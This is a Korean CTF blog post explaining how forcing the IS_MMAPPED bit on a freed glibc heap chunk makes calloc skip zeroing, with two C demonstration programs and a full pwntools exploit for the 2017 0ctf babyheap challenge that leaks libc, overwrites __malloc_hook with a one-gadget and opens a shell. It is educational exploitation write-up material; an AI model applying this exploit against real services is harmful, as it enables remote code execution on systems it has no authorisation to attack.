본문 바로가기

PWN

calloc without memset 0

CTF에서 자주 나오는 glibc heap epxloit 문제에서 메모리를 할당하기 위하여 자주 사용되는 함수는 다음과 같다.

 

  • malloc
  • realloc
  • calloc

이중 calloc은 메모리를 할당한 후 할당된 메모리를 0으로 초기화한다. 따라서 heap exploit을 할 때 중요한 정보를 leak하기 힘들어진다. 또한 청크를 할당받을 때 중요한 정보를 0으로 덮어버려 에러를 유발할 수 있다. 본 문서에서 이런 문제를 해결하기 위한 테크닉을 알아보자. 이 테크닉은 glibc 2.23, 2.27, 2.29에서 유효한 것을 확인하였다. 

 

 

glibc 2.29 버전의 소스코드를 보자. glibc-2.29/malloc/malloc.c:3472에 calloc에서 메모리를 0으로 초기화하는 코드가 있다. 이때 첫번째 조건문을 보자. chunk_is_mmapped 함수를 통해 청크가 mmap으로 할당되었는지 검사한다. 

 

memset 0 in calloc

 

chunk_is_mmapped 함수를 확인하자. 청크의 mchunk_size와 IS_MMAPED를 and 연산자로 계산한다. IS_MMAPED가 0x2라는 건 모두 아시리라 믿는다 :) 따라서 청크의 mchunk_size&2의 결과값이 0이 아니면 청크가 0으로 초기화되지 않는다는 것을 알 수 있다. 

 

 

 

확인해보기 위하여 코드를 작성하였다. 그후 ubuntu18 (glibc 2.27) 환경에서 컴파일 후 실행하였다. 우선 calloc이 정상적으로 작동한 코드이다. calloc후 malloc에서 쓴 값들이 모두 0으로 바뀐 것을 확인할 수 있다.

//file name : calloc2.c
//gcc -o without_memset calloc2.c
#include<stdio.h>
#include<stdlib.h>

void main(){ 

	long * ptr1; 
	ptr1= (long) malloc(0x20); 
	strcpy(ptr1,"aaaaaaaabbbbbbbb"); 
	printf("malloc : %lx\n",*ptr1); 
	printf("malloc : %lx\n",*(ptr1+1)); 
	free(ptr1); 
	free(ptr1);
	free(ptr1);
	free(ptr1);
	free(ptr1);
	free(ptr1);
	free(ptr1);
	free(ptr1);
        printf("free : %lx\n",*ptr1); 
        printf("free : %lx\n",*(ptr1+1)); 
	ptr1=calloc(1,0x20); 
        printf("calloc : %lx\n",*ptr1); 
        printf("calloc : %lx\n",*(ptr1+1)); 
} 

 

다음으로 mmap flag를 강제로 설정하여 memset(mem,0,sz) 구문을 피하는 코드이다. strcpy 함수를 통해 ptr1 청크의 size에 0x33을 쓴다. 이를 통해 size&2 계산의 결과값으로 2을 받을 수 있다. 중간에 free를 8번 호출한 것은 calloc이 tcache에서 청크를 가져오지 않기 때문에 청크를 fastbin에 넣기 위한 것이다. malloc에서 쓴 값들이 calloc 후에도 유지되는 것을 확인할 수 있다. 

//file name : calloc2.c
//gcc -o without_memset calloc2.c
#include<stdio.h>
#include<stdlib.h>

void main(){ 

	long * ptr1; 
	ptr1= (long) malloc(0x20); 
	strcpy(ptr1,"aaaaaaaabbbbbbbb"); 
	printf("malloc : %lx\n",*ptr1); 
	printf("malloc : %lx\n",*(ptr1+1)); 
	free(ptr1); 
	free(ptr1);
	free(ptr1);
	free(ptr1);
	free(ptr1);
	free(ptr1);
	free(ptr1);
	free(ptr1);
	strcpy(((long)ptr1-8),"\x33"); 
        printf("free : %lx\n",*ptr1); 
        printf("free : %lx\n",*(ptr1+1)); 
	ptr1=calloc(1,0x20); 
        printf("calloc : %lx\n",*ptr1); 
        printf("calloc : %lx\n",*(ptr1+1)); 
} 

 

 

이 테크닉을 써야 풀 수 있는 문제도 있고, 꼭 그렇지 않은 문제도 calloc을 사용한다면 유용하게 활용할 수 있다. 예를 들어 2017 년도 0ctf babyheap 문제를 보자. 아마 heap exploit을 하는 사람이라면 한 번쯤 풀어봤을 문제이다. 또한 leak이 힘들어서 고민했던 경험이 있었을 것이다. 이 테크닉을 활용하여 unsorted bin으로 청크에 생긴 libc의 주소를 쉽게 leak할 수 있다. 

from pwn import *


def add(size):
    p.recvuntil(':')
    p.sendline('1')
    p.recvuntil(':')
    p.sendline(str(size))


def remove(idx):
    p.recvuntil(':')
    p.sendline('3')
    p.recvuntil(':')
    p.sendline(str(idx))
def edit(idx,size,content):
    p.recvuntil(':')
    p.sendline('2')
    p.recvuntil(':')
    p.sendline(str(idx))
    p.recvuntil(':')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(content)
def dump(idx):
    p.recvuntil(':')
    p.sendline('4')
    p.recvuntil(':')
    p.sendline(str(idx))
    p.recvuntil(': \n')
    leak=p.recvuntil('\x7f').ljust(8,'\x00')
    leak=u64(leak)
    return leak
p=process('0ctfbabyheap')
add(0x68)#0
add(0x80)#1
add(0x80)#2
remove(1)#-1
payload ="a"*0x68+'\x93'
edit(0,len(payload),payload)
gdb.attach(p)
add(0x80)#1
add(0x68)#3
remove(0)#-0
remove(3)#-3
libc=dump(1)-0x3c4b78
log.info('libc = 0x%x'%libc)
hook=libc+0x3c4aed
one=libc+0x4526a
payload ='a'*0x88
payload+=p64(0x71)
payload+=p64(hook)
edit(2,len(payload),payload)
add(0x68)#0
add(0x68)#3


payload="a"*0x13+p64(one)
edit(3,len(payload),payload)
p.interactive()

 

 

 

 

 

이하는 사족이다. 왜 mmap으로 할당된 청크를 초기화하지 않을까. 궁금해서 man mmap으로 mmap 문서를 읽어보았다. mmap으로 메모리를 할당할 때는 fd에서 받아온 값으로 메모리를 초기화한다고 한다. 따라서 memset으로 메모리를 초기화하지 않는 것 같다. 

더보기

MMAP(2)                                                                                Linux Programmer's Manual                                                                               MMAP(2)

NAME
       mmap, munmap - map or unmap files or devices into memory

SYNOPSIS
       #include <sys/mman.h>

       void *mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);
       int munmap(void *addr, size_t length);

       See NOTES for information on feature test macro requirements.

DESCRIPTION
       mmap()  creates a new mapping in the virtual address space of the calling process.  The starting address for the new mapping is specified in addr.  The length argument specifies the length of
       the mapping (which must be greater than 0).

       If addr is NULL, then the kernel chooses the address at which to create the mapping; this is the most portable method of creating a new mapping.  If addr is not NULL, then the kernel takes it
       as a hint about where to place the mapping; on Linux, the mapping will be created at a nearby page boundary.  The address of the new mapping is returned as the result of the call.

       The  contents  of  a  file  mapping  (as  opposed to an anonymous mapping; see MAP_ANONYMOUS below), are initialized using length bytes starting at offset offset in the file (or other object)
       referred to by the file descriptor fd.  offset must be a multiple of the page size as returned by sysconf(_SC_PAGE_SIZE).

 

 

 

 

'PWN' 카테고리의 다른 글

[CISCN 2017] BabyDriver  (0) 2020.02.04
2019 defcon/ babyheap  (0) 2020.01.04
glibc 2.29 tcache  (0) 2019.12.28
glibc 2.29 malloc 분석1. [청크, malloc]  (0) 2019.12.27
34c3 / SimpleGC  (0) 2019.12.27